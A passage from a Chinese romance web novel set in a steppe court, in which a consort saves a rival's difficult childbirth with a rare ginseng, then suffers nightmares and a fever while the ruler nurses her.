穆凝姝:“唔——我在想,玛茹有你这样的兄长,其实很好啊。如果我是她,我肯定特别满足。我没有家人,不,我是说,我的家人都在姜国。我嫁得太远了。”
“你有家人。”赫连煊道,“公主,你嫁给了我。”
穆凝姝顿了下。
糟糕,完全把他忘了……这种漏算很不吉利,当人家死了似的。
敕加族自诩为天神后代,特别讲究神鬼谶言之说。大大小小的节日都要祭祀拜神,但凡碰到点不顺利,旁的不急,先杀几个人祭祭天,以表诚意。
谶到大单于身上,事态严重。
穆凝姝慌忙找补道:“啊,对对!一时之间,我满心想着哥哥妹妹,竟、竟算漏了。单于当然是。我嫁给你,从此就是赫连氏的人。”
见他脸上未展露出怒意,她才安心。
名义上,赫连煊和她的确算是一家子。
但作为半路夫妻,还是强行捆绑在一起的继子和庶母,真切感不强。“夫君”在她这里,跟“家人”一词,不太联系得上。
她已辗转嫁过三次,这一回能不能长久点儿,也很难说。
玛茹表妹身在福中不知福啊,给赫连煊当妾室,哪里比得上当妹妹。
妾室难能一辈子,表妹血缘不变,稳稳当当富贵一生。
上赶着当他的女人,何必。
想想赫连煊今晚那些话,以及他对玛茹的无事时漠然、有事时不耐烦的态度。
穆凝姝发觉,自己最近这些行为,很不妥当。
他忙得睡觉的时间都不够,她居然敢缠着他教骑马,且是出于暗算玛茹,目的不纯。
……
近来被他的好脾气假象唬住,她膨胀了。
简直膨胀得猖獗。
“单于。”她扭头望着赫连煊,唤他。
“嗯?”赫连煊垂眸。
快要返春,气候比冬季潮湿。
寒气在她睫毛上凝住,盈盈如雾。
风将她声音吹得很轻:
“我特别乖。”
“不会给你添麻烦。”
“以后还能更乖。”
15. 第 15 章
同样的话语,从不同人口中说不来,感觉截然不同。
这三句话本身足够绵软,无论出自哪个女人口中,都能如化骨绵掌般,将铁骨铮铮的猛男腐蚀殆尽。
偏偏眼前姑娘是个另类。
目光坚定如炬,比他麾下最勇猛忠实的将领更具信念感。
娇美甜软的声音与外表,拖了她崇高境界的后腿。
赫连煊一时失语,看着她道:“倒也不必,你不是玛茹,用——”
用不着跟她比。
也用不着跟任何人比。
乖不乖的,他也不觉有什么必要。
话还没说出来,绝影抬蹄止步,到达王庭附近。
“单于——”札木尔龇着口大白牙,朝二人跑来,手中抱有一大堆奏折。
穆凝姝自觉回避,先行告退离去。
札木尔兢兢业业,如常禀报政事。但明显感觉,大单于今日心不在焉,对他的汇报,惜字如金,边吃饭边处理。事毕即走,连话都没多留一句。
他回到毡帐时,穆凝姝已洗漱过,整个人瘫成个大字,独享一张床。穿着身厚厚的浅紫色中衣,从脖子到脚踝,捂得严严实实,像朵蓬松的紫云,长发洗过,松散着晾在床头。
跟最初侍寝时那个袅娜妖艳妃嫔,浑然不似同一人。
赫连煊未作停顿,直接去了里间沐浴。出来时,侍女送来汤剂。
桌上共有两只药罐。
穆凝姝见他出来,倒一碗,“药房送来的。正好你洗完了,可以趁热喝。”又问道:“单于最近身子有何不适吗?之前没见过你喝药。”
赫连煊道:“不算药。是凉茶。”
穆凝姝惊叹,“哇,初春这么冷,你喝凉茶。您这体质可真不一般。够健壮,让人羡慕。”
赫连煊:“……”
她倒出自己那罐药,道:“我这个汤剂,补血温热,跟你的恰好相反。要是把你的火气匀些给我,那就好了。”
赫连煊坐到桌旁。
穆凝姝凑近坐下,好奇问道:“凉茶好喝吗?我没喝过。听上去不错。”
他大方递给她,“你尝尝。”
她接过喝一口,瞬间苦得舌头发麻。
耍她呢。
她的补药里有甘草,甜甜的,挺好喝,便以为赫连煊的凉茶只会更好喝。
赫连煊笑,拿回碗,一饮而尽。她好奇心挺重,什么都喜欢试试。
床边矮柜处有个小糖罐,她拿过来,倒出颗奶贝,递给他。
“以后还能更乖。”
他想起她方才说过的话,收回之前的想法。
乖一点,似乎也不错。
良药大多苦口,行军作战受伤,更是什么苦药都喝过,凉茶这点苦味,算不得什么。
他不喜甜食,却未拒绝她好意,低头,就她的手,吃下奶贝。奶贝小小一颗,不好咬住。他伸出舌卷去,舌尖轻微扫过她指尖,温热。
触感令穆凝姝有些惊异,她以为他会自己拿过去吃。
她讪讪收回手,取出一粒塞进自己口中。
哎呀,真是位难伺候的主儿,还得喂。
但她向来有志者事竟成,既然主打体贴乖巧人设,就一定能做到。
乖巧事业很快遇到瓶颈,睡觉时,穆凝姝略微惆怅。
忽然理解了玛茹。
赫连煊主观上的不在意,很容易演变为客观上的纵容,滋长她们的坏习惯。
这段时间,她总是拿他当暖炉,今晚下定决心痛改前非,却发现,当真是十分痛苦。
他喝凉茶,所以症状该是……上火?
有理由了。
穆凝姝侧过身,朝他笑得乖巧,“单于,你是不是有点上火?需不需要我替您冰一冰?人体降温,温和无害。”
明明是自己想暖手。
赫连煊不置可否。
穆凝姝热情地靠过来,自觉开启服务,殷勤询问:“你觉得是这里冰好呢,还是这里,或者这里?”
一双爪子捂到他脖颈间,再到胸膛上,接着往下放在他腹部。
赫连煊一把擒住她的手。
哪里是降温,分明煽风点火。
他静默盯住她,她眼神热忱,带着点取暖得逞的促狭。
赫连煊微不可查地叹口气,转身朝向里侧,面壁。她好似什么都知道,大胆起来比谁都大胆,骨子里却全是懵懂,磨人而不自知。
穆凝姝:懂,这就安排。
她将手挪到他背上贴住,暖暖的,超舒服。
正待美美入睡,帐外传来些响动,似乎有人在说话,隐隐有哭腔。
单于王帐门口,竟敢如此大胆喧哗。难道是舅母知晓玛茹受伤,来兴师问罪?
穆凝姝叫来贴身侍女阿香,询问情况。
阿香查看回来,道:“回禀凝姝阏氏,是雅曼阏氏那边的老嬷嬷求见您。我们说您歇下了,但她不肯离去,执意要见您,说雅曼阏氏难产。”
“什么?雅曼生了?”穆凝姝慌忙起身,吩咐道,“你赶紧让嬷嬷进来。若不是事情严重,她绝不敢深夜打扰单于安寝。”
老嬷嬷进来后,立即跪下,求穆凝姝加派人手和药物救人。雅曼傍晚时发动,一直生不下来,现在情况转危,难产出大红,稍有不慎,一尸两命。
后宫妃嫔生孩子,都由大阏氏负责照应,现在赫连部未立大阏氏,整个后宫只有穆凝姝最得宠。单于不喜欢雅曼,无人敢拿生子这事烦扰他。
老嬷嬷是雅曼的奶娘,出嫁时也陪着,拿雅曼当亲生女儿,才不顾阻拦,冒死求见穆凝姝。
穆凝姝对这群人很无语。
她在马场安排母马接生,都知道提前一两个月预备,道:“生孩子这等大事,你们该早早多备些人手。阿香,你去御医那边传话,都叫去雅曼帐中帮忙。难产出大红……”
生孩子最怕出大红。
从前她在姜国当宫女时,有个宠妃生产,遭此大劫。幸亏皇帝库房里有根宝贝血参,保住了母子性命。后来,为庆贺此事,给孩子积福,那位宠妃给全宫奴仆发了赏银。
穆凝姝鲜少得赏,对此事印象很深刻。
她吩咐道:“我那边有根千年血参,还有鹿茸、灵芝等物,嬷嬷你先拿去救急。”
嬷嬷和侍女们却都没动,眼神朝穆凝姝身后看。
她随之转头,见赫连煊绕过屏风,朝这边走来。他身上松松垮垮披着个外袍,步伐神情亦是松弛散漫,不见丝毫着急。
赫连煊缓慢道:“千年血参难得,只此一棵,公主。”
言外之意,不允。
下人们不敢妄动,都在等他的旨意。没他首肯,调不动御医。
穆凝姝道:“可现下危急,雅曼和孩子命悬一线。我活得好好的,用不着血参。”
赫连煊提醒道:“雅曼如何对你,你忘了?”
“自是没忘。她挺讨厌的。”穆凝姝神色未有变化,自然而然,“但她再怎么坏,我觉得,也不该在她生孩
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子的时候欺负她。”
“公主宅心仁厚,说得或许也在理。”赫连煊话虽如此,语气中却不带褒奖,“但孤不认可你的理。雅曼掌权时,随意碾杀别人,如今孤掌权,也可以一句话定她生死。这才是权力的用法。公主,孤九死一生登临王位,不是为了做慈善。”
权力的用法?他跟她讲规则。
穆凝姝思虑片刻,柔声道:“后宫妃嫔生产之事,素来由大阏氏管,没有大阏氏,就由宠妃暂代。现在你身旁只有我一个宠妃,我有权力管。即使你想立即捧出另一个宠妃来,这会儿工夫恐怕也不够。君主一言九鼎,千年血参你送给我了,就是我的,不管我拿去喂马还是喂雅曼,都是我的权力。这是单于方才亲口说的道理,可以吗?”
赫连煊愣了下。
宠妃。
这两个字从她口中出来,感觉很不一样。
她自称是他的宠妃……平时毫无自觉,这会儿竟拿来压他。
他定定看着她。
语气软,眼神更软,话语里却全是锋芒。
良久,他才想起,现在是在说雅曼的事。
“公主要是非这么说……”他勾出点笑来,“孤也没办法。算你赢。”
的确是他赋予她的权力。
该聪明的时候笨得出奇,不该聪明的时候,又能挤出点急智来烦人。
得他这话,穆凝姝欣喜,催促嬷嬷和侍女们,“还不赶紧去!”
跑慢了他反悔怎么办。
说罢,她干脆取了外袍套上,边整理腰带边往外走,朝侍女们道:“我跟你们走一趟吧,你们不知道血参放在哪儿。熬药还需时间,耽误不得。”
取了血参鹿茸等物,穆凝姝交给药房熬制。这般一通闹腾,她睡意全无,往雅曼毡帐走去,看看情况。
人还隔得老远,阵阵哀嚎冲入耳中。
她进入雅曼毡帐,赫连煊竟然也在。
毡帐中有几个房间,雅曼在隔间寝房中,这边是待客和用餐的前厅。
赫连煊坐在桌前饮茶,见她进来,淡淡道:“要喝茶吗?”
竟是清茶,难得。
“哦,好,谢谢。”
穆凝姝拿过他手上的茶,一饮而尽。
忙了一晚,跑来跑去,是挺渴的。
清茶甘冽,微苦,此时喝正好。若是奶茶,腻糊糊,越喝越渴。
她将杯子放下,问道:“你怎么来了?”
赫连煊看着杯子,边缘多了一圈口脂印,极浅淡的红。长夜干燥,她睡前会涂上口脂。
她拿错了杯子,这杯是他喝剩的。
他正准备给她倒,她动作太快。
“睡不着,出来走走。”
赫连煊拿回杯子,重新给自己倒上茶。
不用猜都知道,她肯定会忍不住跑来这边。他一个人在帐中呆着无趣,便过来了,果然守株待兔。
穆凝姝心觉赫连煊奇葩,走走能走到产房来。在这种血腥环境里,还能慢悠悠品茶,口味真独特。
……略变态。
隔壁叫声凄惨,她听得头皮发麻,一紧张就想喝水,“能再给我一杯吗?”
没等他倒,她拿走他手里的半盏残茶,“我想喝凉的。热茶喝不下。劳你重新倒一杯。”
反正他闲得没事干,一直盯着个杯子把玩,不知有什么好看的。
穆凝姝双手捧着茶杯,望着产房那边,喝得心不在焉。
清冽茶水沾在唇上,润亮丰盈。
16. 第 16 章
产房入口处,侍女们来往匆忙,血水一盆接一盆往外送。
一个人怎么能流这么多血。
穆凝姝看得胆战心惊,往里边走去。
忽然手臂一紧,她回头看。
赫连煊依旧坐在原处,一手端茶,另一手伸出,握住她臂弯,“别进去,当心吓到。坐在这里等。”
穆凝姝按下他的手,“我才不会,虽没见过人生孩子,但我给母马接生过很多次。我在旁边看着,需要什么好及时差遣人去拿。”
她走进产房。
半个时辰后,老嬷嬷出来,穆凝姝慢吞吞跟在后边,脸色煞白。
老嬷嬷抱着孩子跪下,颤颤巍巍说套话:“恭喜大单于,是个小公主。母子平安。”
语气规矩,不敢表露丝毫欣喜。
说罢老嬷嬷起身,将孩子抱给赫连煊看,让他确认,又跪下对穆凝姝千恩万谢。
赫连煊瞥了眼,淡淡道:“恭喜雅曼。”
短短四个字,在场人皆听得背脊发凉。
若生下的是个儿子,恐怕赫连煊会即刻下令,处死母子二人。
“可以走了。”他眼神越过嬷嬷,示意穆凝姝离开。
两人走出毡帐,风吹过,方显血腥味浓烈。
赫连煊道:“也恭喜公主。”
穆凝姝惊魂甫定,反应缓慢,呆呆道:“恭喜我什么?”
赫连煊:“千年血参没浪费。”
她听得懂其中含义。
一是,雅曼母子平安,所以没浪费。二是,印证了她的猜想,他确有杀心,幸亏雅曼生的是女儿。
穆凝姝道:“无论结果如何,都不会浪费。即使雅曼生下儿子,然后被你杀掉,我仍然不后悔把血参给她用。人都是要死的,总不能说,死前吃的饭全是白费。”
比起方才生孩子的危险,他才是真正的鬼门关。
“你今晚格外牙尖嘴利。”她平日极乖顺,鲜少同他对呛,赫连煊继续道,“是觉得孤对雅曼太狠心?若她生了儿子,你会替她求情?”
穆凝姝从容道:“杀不杀她和孩子,是你的权力和决策,我无权置喙。雅曼打压过我,我都记得。单于,我没有你想象中那么好心,不会替她求情。”
作为亲自弑父篡位的君王,赫连煊比任何人都清楚,连亲儿子都能造反,何况这么个身世复杂的遗腹子。
斩草除根,是明智之选。
她不傻,能明白。
寒风吹过,穆凝姝打个喷嚏。
她裹紧白狐腋皮斗篷,说话有点瓮声瓮气,“我只是觉得……倘若今天是我遇到雅曼那样的情形,也会希望有个人能来救救我吧。那种死法,太可怕,太绝望了。”
“公主慎言。”赫连煊脸色难看,“避谶。”
穆凝姝心觉有趣,大单于居然还挺迷信。
煞气这般重,神魔鬼怪遇上他,才更想避开吧。
退一万步讲,真倒霉也是她倒霉,他一大男人,又不需要生孩子,避哪门子的谶。
她不信鬼神。
管你是中原的神,还是敕加的神,通通都不信。
“单于教训得是。妾身知错。”
又冷又乏,穆凝姝懒得跟他多争论迷信,抬手轻轻掌下嘴以示惩戒。
今晚她是有些僭越。
她先打了自己,他就不能打了哦。
回到寝帐躺下时,已是下半夜,星子寥落,月垂天边。
劳累至极,穆凝姝沾枕头秒睡。
闭眼没多久,被噩梦魇住,整个人仿若巨石压身,怎么都挣不脱,醒不来,呜咽低吟。
“醒醒。公主,醒醒——”
她被摇晃醒。
睁开眼,赫连煊放大的脸,近在咫尺。
她猛一咕噜滚下床,哐当落地。
幸亏地毯够厚,摔得不重。
赫连煊将她捞上床。
他无奈按按额心,声线睡意浓厚,“让你别进去,非不听。果真做噩梦了。”
不幸被他言中。
穆凝姝以为自己在马场身经百战,对生小驹子的事见惯司空。没承想,女人生产的威力着实猛烈,比母牛母马们恐怖百倍。
雅曼那场面,甚是血腥,侍女吓昏了好几个。当时紧急,她不怕血,帮着稳婆打下手,孩子如何出来,伤口如何缝针……全程看得清清楚楚。
血腥场面她见过不少,从没像如今晚这样梦魇夸张。
梦里,主角变成了她本人,恍若亲身经历。她躺在产床上,任由冰凉针线刺穿皮肤,在她的身体里来来去去。
难怪稳婆全是上了年纪、且生育过的女人,而产房也从来不准小姑娘们进。
谁看谁心理阴影。
忽感额上一热,赫连煊指尖抚过。
她额头全是汗,碎发黏糊在肌肤上。
穆凝姝应激躲避,差点又滚下床。他一把拽住她衣襟,将人拉了回来。
无意间,也拽了她胸口一把。
软绵绵。
赫连煊:“……”
穆凝姝:“……”
她抬手抱胸,蹭蹭蹭往后拱退。
感觉多被他碰一下就会怀孕。
脑海里尚且全是雅曼的惨象,这不是普通的捏揉,而是倒霉的前奏。
远离男人。
远离万恶之源。
赫连煊一眼看穿她的想法,道:“孤对你没兴致。但是……”
他伸手,将她拽回被子里,压住她,“你要是再继续闹腾,孤不保证不会兽性大发。”
感受到她的颤抖,他隐秘笑下,指尖挪到她襟口处,缓缓滑过敞露出的锁骨,言语节奏跟动作同步,极缓慢,极沉哑:“公主,你知道,人睡不好时,就会需要做点其他事情。排,解,发,泄。”
他一字一顿。
穆凝姝倒吸一口凉气:“打扰到你不好意思我没事了我睡着了单于晚安。”
她一气呵成,不带停顿,瞬间闭目入睡。
毫不动弹,宛如死鱼。
******
奏折堆积成小山,赫连煊手执朱笔批阅。
札木尔端来咸奶茶和糕点肉干,道:“单于,已经批了一个时辰未停。您歇息会儿吧。眼下乌青,昨夜定是没睡好。您身体贵重,没必要亲自等着看是男是女。真要动手,您吩咐我一声就行。”
昨晚雅曼产女的事,大家都已知晓,札木尔作为近侍,消息灵通许多,知道昨夜赫连煊和穆凝姝都去过雅曼毡帐。
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赫连煊瞥他一眼,没说话打击他的积极性。他又不是特意去等。
札木尔想到血参,道:“凝姝阏氏把血参给雅曼……怪可惜的,她竟然舍得。”
赫连煊朱笔顿了下,道:“随她去,小事罢了。”
批阅时间太久,他略感头痛,放下笔,坐到躺椅上,喝茶休息。
札木尔笑道:“我方才经过晒场,听到稳婆和嬷嬷们聊天,说雅曼能活下来是神迹。昨夜那种出大红,她们接生多年,就没见过母子平安的。也不知是雅曼命硬,还是那千年血参当真厉害。”
赫连煊指尖随意叩着杯沿,道:“那血参……不错。你再去找几根。”
札木尔笑容凝固,变成苦瓜脸,“您这话说的——千年血参,可遇不可求,又不是逛街买大白菜,哪里能说有就有。”
赫连煊道:“下个月又有只肥羊要攻打,届时你认真搜刮一番。以后每次缴获物资,首先探查是否有珍稀药材。还有,你暗中查访下,最近玛茹跟公主是否起过冲突。”
遇上小猫小狗受伤,穆凝姝都会去包扎下,昨夜连雅曼那种人都救。玛茹坠马时,她却高高挂起,仅仅敷衍关心两句客套话,于她一贯的性格而言,不寻常。
骑马那会儿,他注意到她小动作挺多,当时觉得不对劲,没细想,亦未拆穿盘问。
赫连煊想起一事,又道:“你把旁边那间书房收拾出来,孤今晚要住。”
札木尔将吩咐一一记下,闻此抬头,道:“住书房?单于,您热爱事业是好事,但也不用如此勤勉吧,书房哪有王帐舒服——”
“不是。”赫连煊打断他,“公主昨夜受惊,夜里多梦,孤暂时搬出来住几晚。”
她防备心本就重,现下受惊,自从昨晚回去,看他的眼神……仿佛他是衣冠禽兽,随时要让她怀上身孕。
“哦,好。”札木尔应下,回过味来,“咦,单于,这不对啊。阏氏吵到您,让她回自己毡帐才是。为什么成了您搬出来?您是单于,要搬也该是妃嫔搬!”
赫连煊扣杯沿的指尖停下,顿几秒,又继续,缓缓道:“札木尔,不要总是把心思放在此等微末上。人精力有限,你年纪轻轻,应当多关注军政大事。你反思反思。”
“……是这样吗?”札木尔最钦佩赫连煊,大单于鲜少提点谁,今天难得大开金口指出他的问题,他很是重视。
他怀疑自我,深刻反思:“难怪这么多年,我感觉自己都没什么长进,竟是如此……是我太纠结细枝末节?您搬去书房睡,不算大事?”
赫连煊面色沉静,“嗯,是。你回去慢慢想。”不忘再嘱咐一次,“先将孤吩咐的事办好。”
打发走札木尔,赫连煊躺在长椅中,长腿交叠,微微晃动。
刚才札木尔的话,问得他一时不知如何作答,随意胡诌几句应付过去。他打太极的功底,在朝堂上练得炉火纯青。
其实札木尔说得在理。妃嫔侍奉帝王,穆凝姝扰人,该是她搬走。
甚至说不上搬走。
她放在他帐中的东西,仅有床头矮桌上的两册话本,以及一只糖罐。
只要不传召她入帐侍奉,连这点浅淡痕迹,都会立即消失。
他完全没想过这一选项。
17. 第 17 章
自受伤后,乌琪担心赫连煊看到丑陋伤痕,没像从前那般跟在穆凝姝身旁,这几日都待在自己毡帐里养伤。
穆凝姝日日亲自前往,替乌琪换药。
药房拿来的药膏效果一般,她加入几味药材改良,效果甚好,乌琪脸上的伤痕逐渐好转。
雅曼生产那晚后,赫连煊再未回到寝帐中睡觉,听阿香说,他搬去了书房睡。
兴许是他政务繁忙,懒得回来,抑或是她说梦话着实扰人。
既然他不回来,她也没必要夜夜候在他帐中。乌琪需上药,她干脆搬来与小姐妹同住。
在赫连部的这两年,她们都是一起睡大通铺。这回再度同床共枕,颇有忆苦思甜的风味。
远离万恶之源后,穆凝姝心理压力骤降,睡眠质量再次重回巅峰。
跟乌琪当床搭子三晚后,清晨的第一缕晨光唤醒穆凝姝。
一睁眼,乌琪顶着两只硕大的黑眼圈,幽幽盯着她。
穆凝姝被乌琪幽怨的黑脸吓一跳,裹紧小棉被,“你干嘛?起这么早盯我看?”
乌琪舔舔唇,犹疑又坚决,道:“凝姝,其实本来呢,我也不想说……可是你现在睡相太差了,接连三晚,死死搂住我,腿也压我身上,推都推不开,鬼压床似的,你以前不这样啊。三晚没睡着,我实在扛不住,快要困死了。”
“你怎么不早说。你第一晚就告诉我,也不至于这般。你我之间,没必要藏着掖着。”穆凝姝不好意思,翻身起床,将乌琪拉到床上,盖好被子,“你现在赶紧补补觉。”
过了困劲儿,现下乌琪睡不着,裹住被子坐起来,好奇问道:“你平时跟单于睡觉,也这样?他没骂你吗?”
穆凝姝道:“没有啊。别说骂了,说都没说过……大概他睡得沉。”
说来,她这毛病还是赫连煊惯的。她好不容易练出来的睡姿,十八年精品典范,他摧毁掉,仅仅花了一个月。
乌琪笑出月牙眼,将穆凝姝拉进被窝里,道:“我现在没瞌睡,你也进来煨煨暖,咱们聊天。照你这么说,单于睡觉沉,那他打呼噜吗?我听人说,男人睡觉都打呼噜,吵得要命。”
穆凝姝回想,道:“不打。他挺安静的。”
乌琪越发好奇,又问了许多。
赫连煊睡觉时安静,比起她现在乱七八糟的睡姿,他的睡姿比她强得多。他每日都要沐浴,身上带着股极淡的松枝清香,只有离得极近才能闻到。茶褐长发浓密,自然微卷,他嫌碍事,因此两侧头发以珠链编起,绕到后面固定。
诸如此类,此刻乌琪问起,她才发觉,自己竟悉知有关他的许多细节。
乌琪听后,道:“这么说来,单于倒是同粗莽汉子们不一样。脾气竟也挺好的。任由你闹腾都没说句重话。你是不知道,昨儿半夜,但凡咱们感情差点,我都能动手揍你。人睡不好时,什么都做得出来。”
“那可万万不能!我有罪。”穆凝姝丝滑认错,转而又笑道,“不过,连赫连煊都没说我什么,你也不准说。乌琪,你睡眠质量有待改进,回头我给你弄点安神茶。”
乌琪笑道:“你强词夺理。哎呀,罢了罢了,跟你计较什么。”她脸色微红,“经你这么一说,我倒挺期待见见单于。我从前还以为,他很可怕。”
穆凝姝只道:“等你脸恢复了,自然可以。我们趁这段时间,好好计划下。你安心养伤,其他交给我。”
赫连煊的脾气,如四月的天,变化无常。雅曼之事后,穆凝姝对此感触越发深刻。
有些人,坏归坏,却容易看透,雷声大雨点小,像玛茹。而赫连煊,前一秒对你笑意温和,后一秒霹雳手段。哪怕杀着人,都能云淡风轻。
性格乖僻,极其难测。
赫连煊自从那日赏赐过乌琪,话语里再未提过她,也没有传召她侍寝。
态度令人疑惑。
因此在乌琪出场一事上,除了惊艳独特这种必须的要素外,穆凝姝还想留一手,防备下赫连煊。千万别惹出他的煞气,弄巧成拙。
经过玛茹一役,穆凝姝对制定作战计划颇有信心,乌琪之事,假以时日,待她细细思量,争取制定个万全之策。
侍女们送来早膳,两人起床洗漱,坐在桌边用膳。乌琪帐中的菜肴,滋味远不如王帐中的规格,新鲜蔬果没几道。
穆凝姝命阿香跑趟御膳房,从她的份例中支取些蔬果和酥酪蝉来。她库房中有许多燕窝、蕈菇等干货食材,亦是命人取来。
饭后,乌琪将尚未完工的红裙拿来,穆凝姝看过后,挑出好几处不足,一一说道如何改进。
乌琪静默看着她,嘴角翘起。
穆凝姝抬手摸自己脸,疑惑道:“你盯着我看做什么?还笑得莫名其妙。我脸上沾了脏东西?”
乌琪摇头,笑道:“不是。我是在笑,才短短一个月,你跟从前大不相同。面色红润,通身贵气,这才是公主该有的模样。吃穿用度,你也都能点评个一二三四来。玛茹说你没见识,不过是欺负你来自异邦,从前又清贫,没见过草原上的好东西。”
她握住穆凝姝的手腕,道:“看,你手上的冻疮,之前肿得像萝卜,如今也快好了。你的手其实很漂亮。大单于当真把你养得很好啊。”
闻言,穆凝姝抬起双手细看,指如白玉,指尖微微透着淡粉。
冻疮未好全,尚有痕迹,是这双手唯一的瑕疵。
从小到大,冬天里,她的手从没这般精致过,她都看惯了红紫肿胀。姜国虽然比草原暖和,她在宫里当差时,要做粗活儿,好不到哪里去。
穆凝姝道:“单于是待我挺大方的。论起养人,吃饱穿暖后,人自然而然强得多。这些都靠钱来堆,不如说是富贵养人。”
乌琪笑道:“他予你富贵就挺好了啊。单于是一国之君,妃嫔们终其一生争来斗去,也不过是求君恩带来的荣华富贵。我们能分到他一点点眷顾,已是难得。依我看,你赶紧回去找他才是正经。这么好的大饭碗,阏氏们个个都想要。”
不知乌琪是出于对饭碗的担忧,还是借饭碗之忧解自己失眠之愁。这般催促下,穆凝姝不好意思再继续蹭小姐妹的床。
作为对乌琪失眠三晚的补偿,穆凝姝带走红裙,打算帮忙改改。赫连煊不在,她无需侍奉,闲着也是闲着。
回自己毡帐时,她途经赫连煊住处,目光被个肉乎乎的小团子吸引住。
一只小狗崽在王帐门口窜来跑去,憨笨可爱。
她瞧上一眼,继续往自己住处走去,没走几步,调转方向。
双腿生出自己的想法。她回到赫连煊处。
让小狗崽一狗待在这里,赫连煊太没责任心,她是在帮他。给狗崽稍微检查下身体,立刻走。
穆凝姝将小狗抱进王帐中,桌上糖罐里还剩有半罐奶贝,她拿来喂狗,越逗越开心,根本控制不住自己。
撸狗是多么美妙的一件事!
时间飞逝,不知不觉,等回过神来,天色已晚,侍女们端来晚膳。
那就,顺便吃个饭再走吧。赫连煊不在,饭菜凉掉也是浪费。
她抱着小狗,吃得不亦乐乎。
果然还是单于帐中的饭最好吃。哪怕食材相同,御用厨子水准也不同于其他。
赫连煊回来时,床上瘫着一人一狗。
见他回来,穆凝姝坐起来,眼神带笑。不知怎的,看到他,竟莫名开心。
一定是饭碗的魅力。
她清下嗓子,道貌岸然,“你的狗在门口冻着,我帮你看看。不用谢。”
赫连煊对她的出现毫不惊讶。她用他钓玛茹,他用狗崽子钓她,该上钩的,逃不掉。
他径直走过去,拎起小狗命运的后颈肉,放到地
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上,“狗不准上床。”
“洗过了。我拿皂角给它洗得特别干净!”穆凝姝直心疼,跳下床,抱起怂头耷耳的小崽子,翻出两只小爪子给赫连煊展示,粉粉嫩嫩,“连爪子都没一丝泥。”
见他表情毫无松动,她开始谆谆善诱,天南海北胡扯。
敕加族靠游牧起家,狗狗是敕加人忠实的伴侣。敕加战士们和战马同吃同住,大单于应适当克制洁癖,以身作则,亲近小动物。
她握起小狗爪爪朝赫连煊招手,“单于,择日不如撞日,今天就是锻炼的绝佳机会。香香软软的小奶狗,不要拒绝它。”
她说得摇头晃脑,试图劝服他,语气中带上不自觉的绵软。
平日里,她其实是个极清冷的美人,言语不多,礼貌疏离。
唯独想达成特殊目的时,她才舍得费唇舌,下本钱。
就像那晚,她忽然约他骑马,意在玛茹。
心机有一点,远远说不上深沉,还自以为精妙。
跟这只笨笨的狗崽是一家。
赫连煊伸手随意捏下小狗爪,想起她刚到赫连部之时,问道:“孤记得,你从前养过一只狗。养大后放去牧场了?”
“没。”穆凝姝笑意消失,闷闷道,“它病死了。”
她不想多提此事,又将注意力放到怀中毛团上,道:“这么点大的小崽子还没断奶,单于从哪里抱来的?”
赫连煊:“路上捡的野狗。落单一只,没看到大狗。”
说罢,没再管她,兀自去洗漱。
不管,等同于默许。
穆凝姝近来在得寸进尺上,颇有心得。她开开心心抱着小崽子进被窝。一人一床被子,碍不着他。
看赫连煊那副冷淡面孔,那晚她的应激反应,落在他眼中,恐怕他只觉得她自作多情。
天潢贵胄,他什么样的女人没见过?
单于心怀天下,只想好好睡觉,没兴致跟她造小人。
短暂尴尬后,她心情大好。
说句对不住乌琪的话,她这几天居然挺想念前任床搭子。赫连煊暖呼呼,睡得比乌琪沉,任她怎么折腾都没反应。
她并不习惯同男人在一起,但赫连煊是个例外,只要不惹到他,他的漠然无视,换个角度,便是极度的宽宥与纵容,让她非常自在。
卧室里充斥有熟悉的松枝清香,她逗弄软乎乎的小狗崽,不亦乐乎。
待赫连煊回来,床榻上,一人一狗,蜷在被窝里睡着。
夜深人静,小狗嘤嘤嘤叫唤不停,热得乱爬,小肉垫呼到赫连煊脸上,将他呼醒。
他拎住闹事狗崽,放回她被窝里,指尖触碰到她脖颈,烫得不正常。
******
这场高热早有端倪。
看护雅曼那晚,穆凝姝跑来跑去,出了一身汗又吹凉风,风寒入体。
旧寒未退,今夜她玩心重,洗狗崽子时溅水受凉,过后又仅着里衣,坐地毯上逗狗。当时不觉雪上加霜,入睡后烧得迷迷糊糊,人事不知,怪梦一个接一个。
继酷暑收割麦子被晒得皮开肉绽后,她又梦到冰天雪地里,独行荒原上,冻得瑟瑟发抖。
忽然,一只巨狗从天而降,一爪子将她按倒。定睛一看,竟是王帐里那只狗崽子。一夜之间,小崽子竟长得比毡帐还大。
向来只有她撸狗,现在崽子却恃大行凶,将她从上到下撸了个遍。
她挣扎不开,干脆认命躺平,任由巨狗摆布。但这狗坏得很,故意将爪子在雪里冰过再撸她,冻得她直打寒颤。原本粉嫩嫩的大肉爪变得骨感十足,划过她肌肤,坚硬冰凉。
“实乃恩将仇报!我对你那么好,你不能——”
她忍无可忍,跟这巨狗讲道理,没说上几句话,口却被它堵住。
一股热烫苦涩灌入她口腔,强行令她闭嘴。
18. 第 18 章
啊啊啊,这可恶的大狗!
竟敢拿狗嘴喂她喝口水!!!
她气得厉害,鼓起脸颊往外吐。
却被堵得越发严实,被迫全部吞了下去。
苦得舌头发麻。
紧接着,唇上触到一圆圆的东西,融了一点儿入口。
有苦味。
必定不是什么好货。
她赶紧抿唇,咬紧牙关,心里又气又委屈,她天天给小狗崽喂甜奶贝,它却这么对她。
可惜她防御力太差,坏狗粗蛮掰开她的嘴。
苦涩物什终究入了口。那狗还竟拿舌头往深处推,欺人太甚。
在她一贯的认知里,自己从不是个好欺负的包子。
坏狗过分,恩将仇报,她定要让它受受教训。
她不再推诿抵抗,假意投降。
嘿嘿,狗就是狗,真笨。
捏她脸颊的爪子放开了,真好骗。
待狗舌深入,她一口咬住。
赫连煊眼眸一暗,轻声闷哼,再度抬手扣住她脸颊,逼她张开嘴,离开她的唇。
他摸下舌尖,微微出血。
喂个药,这般不太平,不知又是被什么怪梦魇住。
他端起旁边剩余的半碗汤药,灌入口中,再度覆上她的唇。
苦涩中带有淡淡的血腥味,灌得穆凝姝直皱眉。全吞咽完了,也不见眉间纾解。
赫连煊取个奶贝,塞进她口中。
******
穆凝姝从梦中醒来,依稀记得那场酣畅淋漓的斗恶犬大战。
双方血战到最后,她大获全胜。她夺走那只大狗珍藏的甜奶贝,当着它的面吃掉,气得它直哭。
爽。
高热未全退,她仍昏昏沉沉,看窗外阳光明亮,大概是中午。
不远处的桌案后,赫连煊提笔写字,在批奏章。
穆凝姝神色迷茫。
这种时候,赫连煊不可能出现在寝帐。
他永远辰时起,准点上朝。
起初她还依照规矩,早醒问安,但赫连煊用不着她伺候梳洗,有时她没醒,也没人管她。
久而久之,她也懒怠了。
